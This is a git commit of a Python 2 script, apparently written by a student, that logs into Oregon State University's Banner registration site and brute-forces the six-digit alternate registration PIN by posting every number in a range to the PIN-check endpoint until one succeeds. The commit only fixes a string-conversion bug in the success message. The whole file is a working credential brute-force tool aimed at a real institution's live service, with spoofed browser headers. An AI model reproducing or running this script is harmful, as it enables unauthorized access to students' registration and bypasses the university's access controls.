<commit_before>import argparse

import requests
from pyquery import PyQuery as pq


req = requests.Session()
req.headers = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16', 'Accept' : 'application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5', 'Accept-Charset' : 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', 'Accept-Encoding' : 'gzip,deflate,sdch', 'Accept-Language' : 'en-US,en;q=0.8', 'Cache-Control' : 'max-age=0', 'Connection' : 'keep-alive', 'Host' : 'adminfo.ucsadm.oregonstate.edu', 'Referer' : 'https://adminfo.ucsadm.oregonstate.edu/prod/twbkwbis.P_WWWLogin'}
cookie = {}


def page_title(res):
    return pq(res.content)('title').text()


def login(sid, pin):
    req.headers['Referer'] = 'https://adminfo.ucsadm.oregonstate.edu/prod/twbkwbis.P_WWWLogin'
    url = 'https://adminfo.ucsadm.oregonstate.edu/prod/twbkwbis.P_ValLogin'
    res = req.get(url)
    res = req.post(url, {'sid' : sid, 'PIN' : pin})

    if page_title(res) == 'Login':
        return False
    return True


def select_term():
    req.headers['Referer'] = 'https://adminfo.ucsadm.oregonstate.edu/prod/twbkwbis.P_GenMenu?name=bmenu.P_RegMnu'
    url = 'https://adminfo.ucsadm.oregonstate.edu/prod/bwskfreg.P_AltPin'
    res = req.get(url)

    if page_title(res) == 'Select Term':
        res = req.post(url, {'term_in': '201303'})
        if page_title(res) == 'Registration PIN Verification':
            return True
    elif page_title(res) == 'Registration PIN Verification':
        return True


def attempt_pin(pin):
    pin = pin.rjust(6, '0')
    req.headers['Referer'] = 'https://adminfo.ucsadm.oregonstate.edu/prod/bwskfreg.P_AltPin'
    res = req.post('https://adminfo.ucsadm.oregonstate.edu/prod/bwskfreg.P_CheckAltPin', {'pin': pin})

    print pin
    pin_title = 'Registration PIN Verification'
    if page_title(res) != pin_title:
        return 'SUCCESS'
    elif page_title(res) == pin_title and 'NOTFOUND' in res.content:
        return 'NOTFOUND'
    else:
        return 'FAIL'


def main(args):
    print "Logging in"
    if not login(args.username, args.password):
        print "[ERR] Could not login."
        return
    else:
        print "Selecting term"
        if not select_term():
            print "[ERR] Could not select term."
            return
    print "INITIATE THOUSANDPINSTRIKE %s-%s" % (args.start, args.end)
    for pin in range(args.start, args.end):
        status = attempt_pin(str(pin))
        if status == 'SUCCESS':
            print "THOUSANDPINSTRIKE COMPLETE: " + pin
            return
        elif status == 'FAIL':
            print "Pin attempt failed."
            return
<commit_msg>fix val err<commit_after>import argparse

import requests
from pyquery import PyQuery as pq


req = requests.Session()
req.headers = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16', 'Accept' : 'application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5', 'Accept-Charset' : 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', 'Accept-Encoding' : 'gzip,deflate,sdch', 'Accept-Language' : 'en-US,en;q=0.8', 'Cache-Control' : 'max-age=0', 'Connection' : 'keep-alive', 'Host' : 'adminfo.ucsadm.oregonstate.edu', 'Referer' : 'https://adminfo.ucsadm.oregonstate.edu/prod/twbkwbis.P_WWWLogin'}
cookie = {}


def page_title(res):
    return pq(res.content)('title').text()


def login(sid, pin):
    req.headers['Referer'] = 'https://adminfo.ucsadm.oregonstate.edu/prod/twbkwbis.P_WWWLogin'
    url = 'https://adminfo.ucsadm.oregonstate.edu/prod/twbkwbis.P_ValLogin'
    res = req.get(url)
    res = req.post(url, {'sid' : sid, 'PIN' : pin})

    if page_title(res) == 'Login':
        return False
    return True


def select_term():
    req.headers['Referer'] = 'https://adminfo.ucsadm.oregonstate.edu/prod/twbkwbis.P_GenMenu?name=bmenu.P_RegMnu'
    url = 'https://adminfo.ucsadm.oregonstate.edu/prod/bwskfreg.P_AltPin'
    res = req.get(url)

    if page_title(res) == 'Select Term':
        res = req.post(url, {'term_in': '201303'})
        if page_title(res) == 'Registration PIN Verification':
            return True
    elif page_title(res) == 'Registration PIN Verification':
        return True


def attempt_pin(pin):
    pin = pin.rjust(6, '0')
    req.headers['Referer'] = 'https://adminfo.ucsadm.oregonstate.edu/prod/bwskfreg.P_AltPin'
    res = req.post('https://adminfo.ucsadm.oregonstate.edu/prod/bwskfreg.P_CheckAltPin', {'pin': pin})

    print pin
    pin_title = 'Registration PIN Verification'
    if page_title(res) != pin_title:
        return 'SUCCESS'
    elif page_title(res) == pin_title and 'NOTFOUND' in res.content:
        return 'NOTFOUND'
    else:
        return 'FAIL'


def main(args):
    print "Logging in"
    if not login(args.username, args.password):
        print "[ERR] Could not login."
        return
    else:
        print "Selecting term"
        if not select_term():
            print "[ERR] Could not select term."
            return
    print "INITIATE THOUSANDPINSTRIKE %s-%s" % (args.start, args.end)
    for pin in range(args.start, args.end):
        status = attempt_pin(str(pin))
        if status == 'SUCCESS':
            print "THOUSANDPINSTRIKE COMPLETE: " + str(pin)
            return
        elif status == 'FAIL':
            print "Pin attempt failed."
            return

{'fraction_non_alphanumeric': 0.15827338129496402, 'fraction_numerical': 0.020291459140380004, 'mean_word_length': 3.116932422171602, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 3, 'https://': 14, 'lorem ipsum': 0, 'www.': 0, 'xml': 4}, 'pii_count': 2, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '5902703', 'n_tokens_mistral': 2056, 'n_tokens_neox': 1969, 'n_words': 380}